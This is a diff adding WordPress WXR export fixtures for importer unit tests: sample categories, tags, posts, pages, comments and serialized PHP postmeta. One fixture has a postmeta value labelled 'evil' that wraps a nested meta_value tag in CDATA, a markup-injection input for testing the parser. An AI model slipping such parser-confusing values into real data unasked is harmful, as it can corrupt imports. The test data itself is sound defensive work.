+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The child foo category]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gaMMA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[IOTA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>mu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[MU]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>nu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Nu]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>31</wp:term_id><wp:category_nicename>omega</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omega]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>22</wp:term_id><wp:category_nicename>omicron</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omicron]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>28</wp:term_id><wp:category_nicename>phi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Phi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>23</wp:term_id><wp:category_nicename>pi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Pi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>30</wp:term_id><wp:category_nicename>psi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Psi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>24</wp:term_id><wp:category_nicename>rho</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Rho]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>25</wp:term_id><wp:category_nicename>sigma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Sigma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>26</wp:term_id><wp:category_nicename>tau</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[tAu]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[THeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>32</wp:term_id><wp:category_nicename>unused-category</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Unused category]]></wp:cat_name><wp:category_description><![CDATA[Category will not be associated with any posts.]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>27</wp:term_id><wp:category_nicename>upsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[uPsIlOn]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>xi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Xi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>eternity</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[่ฟœๅพๆ‰‹่ฎฐ]]></wp:cat_name><wp:category_description><![CDATA[No more duplicate categories, #13364]]></wp:category_description></wp:category>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>tag1</wp:tag_slug><wp:tag_name><![CDATA[Tag1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag2</wp:tag_slug><wp:tag_name><![CDATA[Tag2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag3</wp:tag_slug><wp:tag_name><![CDATA[Tag3]]></wp:tag_name></wp:tag>
+
+	<generator>http://wordpress.org/?v=3.1-RC2-17315</generator>
+
+	<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+		<dc:creator>author</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2011-01-18 07:40:14</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>Post by</wp:meta_key>
+			<wp:meta_value><![CDATA[author]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:comment>
+			<wp:comment_id>1</wp:comment_id>
+			<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+			<wp:comment_author_email></wp:comment_author_email>
+			<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+			<wp:comment_author_IP></wp:comment_author_IP>
+			<wp:comment_date>2011-01-18 07:40:14</wp:comment_date>
+			<wp:comment_date_gmt>2011-01-18 07:40:14</wp:comment_date_gmt>
+			<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+			<wp:comment_approved>1</wp:comment_approved>
+			<wp:comment_type></wp:comment_type>
+			<wp:comment_parent>0</wp:comment_parent>
+			<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+	</item>
+	<item>
+		<title>Sample Page</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:
+
+<blockquote>Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)</blockquote>
+
+...or something like this:
+
+<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>
+
+As a new WordPress user, you should go to <a href="http://localhost/wp-admin/">your dashboard</a> to delete this page and create new pages for your content. Have fun!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2011-01-18 07:40:14</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>sample-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Child Page</title>
+		<link>http://localhost/?page_id=4</link>
+		<pubDate>Tue, 18 Jan 2011 07:45:50 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=4</guid>
+		<description></description>
+		<content:encoded><![CDATA[This child page appears before its parent in the export file.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>4</wp:post_id>
+		<wp:post_date>2011-01-18 07:45:50</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:45:50</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>child-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>6</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Parent Page</title>
+		<link>http://localhost/?page_id=6</link>
+		<pubDate>Tue, 18 Jan 2011 07:46:09 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=6</guid>
+		<description></description>
+		<content:encoded><![CDATA[This parent page appears after its child in the export file.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>6</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:09</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:46:09</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>parent-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Draft Page</title>
+		<link>http://localhost/?page_id=9</link>
+		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=9</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is a draft.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>9</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:29</wp:post_date>
+		<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name></wp:post_name>
+		<wp:status>draft</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>1-col page</title>
+		<link>http://localhost/?page_id=11</link>
+		<pubDate>Tue, 18 Jan 2011 07:46:57 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=11</guid>
+		<description></description>
+		<content:encoded><![CDATA[Using the "One column, no sidebar" template.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>11</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:57</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:46:57</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>1-col-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[onecolumn-page.php]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Private Post</title>
+		<link>http://localhost/?p=13</link>
+		<pubDate>Tue, 18 Jan 2011 07:47:19 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=13</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged with some tags.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>13</wp:post_id>
+		<wp:post_date>2011-01-18 07:47:19</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:47:19</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>private-post</wp:post_name>
+		<wp:status>private</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="post_tag" nicename="tag1"><![CDATA[Tag1]]></category>
+		<category domain="post_tag" nicename="tag2"><![CDATA[Tag2]]></category>
+		<category domain="post_tag" nicename="tag3"><![CDATA[Tag3]]></category>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Foo-child</title>
+		<link>http://localhost/?p=15</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:07 +0000</pubDate>
+		<dc:creator>editor</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=15</guid>
+		<description></description>
+		<content:encoded><![CDATA[Post associated with the Foo category that is a child of Bar.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>15</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:07</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:07</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>foo-child</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="foo-bar"><![CDATA[Foo]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Post by</wp:meta_key>
+			<wp:meta_value><![CDATA[editor]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Top-level Foo</title>
+		<link>http://localhost/?p=17</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:32 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=17</guid>
+		<description></description>
+		<content:encoded><![CDATA[Post associated with the top-level Foo category.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>17</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:32</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:32</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>top-level-foo</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Non-standard post format</title>
+		<link>http://localhost/?p=19</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:52 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=19</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an aside.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>19</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:52</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:52</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>non-standard-post-format</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="post_format" nicename="post-format-aside"><![CDATA[Aside]]></category>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Many Categories</title>
+		<link>http://localhost/?p=22</link>
+		<pubDate>Tue, 18 Jan 2011 07:55:01 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=22</guid>
+		<description></description>
+		<content:encoded><![CDATA[This post has a lot of categories.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>22</wp:post_id>
+		<wp:post_date>2011-01-18 07:55:01</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:55:01</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>many-categories</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+		<category domain="category" nicename="bar"><![CDATA[Bar]]></category>
+		<category domain="category" nicename="beta"><![CDATA[BETA]]></category>
+		<category domain="category" nicename="chi"><![CDATA[CHI]]></category>
+		<category domain="category" nicename="delta"><![CDATA[dElta]]></category>
+		<category domain="category" nicename="epsilon"><![CDATA[epsilon]]></category>
+		<category domain="category" nicename="eta"><![CDATA[eta]]></category>
+		<category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+		<category domain="category" nicename="gamma"><![CDATA[gaMMA]]></category>
+		<category domain="category" nicename="iota"><![CDATA[IOTA]]></category>
+		<category domain="category" nicename="kappa"><![CDATA[Kappa]]></category>
+		<category domain="category" nicename="lambda"><![CDATA[lambda]]></category>
+		<category domain="category" nicename="mu"><![CDATA[MU]]></category>
+		<category domain="category" nicename="nu"><![CDATA[Nu]]></category>
+		<category domain="category" nicename="omega"><![CDATA[Omega]]></category>
+		<category domain="category" nicename="omicron"><![CDATA[Omicron]]></category>
+		<category domain="category" nicename="phi"><![CDATA[Phi]]></category>
+		<category domain="category" nicename="pi"><![CDATA[Pi]]></category>
+		<category domain="category" nicename="psi"><![CDATA[Psi]]></category>
+		<category domain="category" nicename="rho"><![CDATA[Rho]]></category>
+		<category domain="category" nicename="sigma"><![CDATA[Sigma]]></category>
+		<category domain="category" nicename="tau"><![CDATA[tAu]]></category>
+		<category domain="category" nicename="theta"><![CDATA[THeta]]></category>
+		<category domain="category" nicename="upsilon"><![CDATA[uPsIlOn]]></category>
+		<category domain="category" nicename="xi"><![CDATA[Xi]]></category>
+		<category domain="category" nicename="zeta"><![CDATA[zeta]]></category>
+		<category domain="category" nicename="eternity"><![CDATA[่ฟœๅพๆ‰‹่ฎฐ]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>

+ 69 - 0
tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml

@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>122</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value>a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}</wp:meta_value>
+</wp:postmeta>
+
+	</item>
+	</channel>
+</rss>

+ 77 - 0
tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml

@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>10</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value><![CDATA[a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>contains-html</wp:meta_key>
+<wp:meta_value><![CDATA[<pre>some html</pre>]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>evil</wp:meta_key>
+<wp:meta_value><![CDATA[<wp:meta_value>evil</wp:meta_value>]]></wp:meta_value>
+</wp:postmeta>
+
+	</item>
+	</channel>
+</rss>

+ 69 - 0
tests/phpunit/data/export/test-utw-post-meta-import.xml

@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
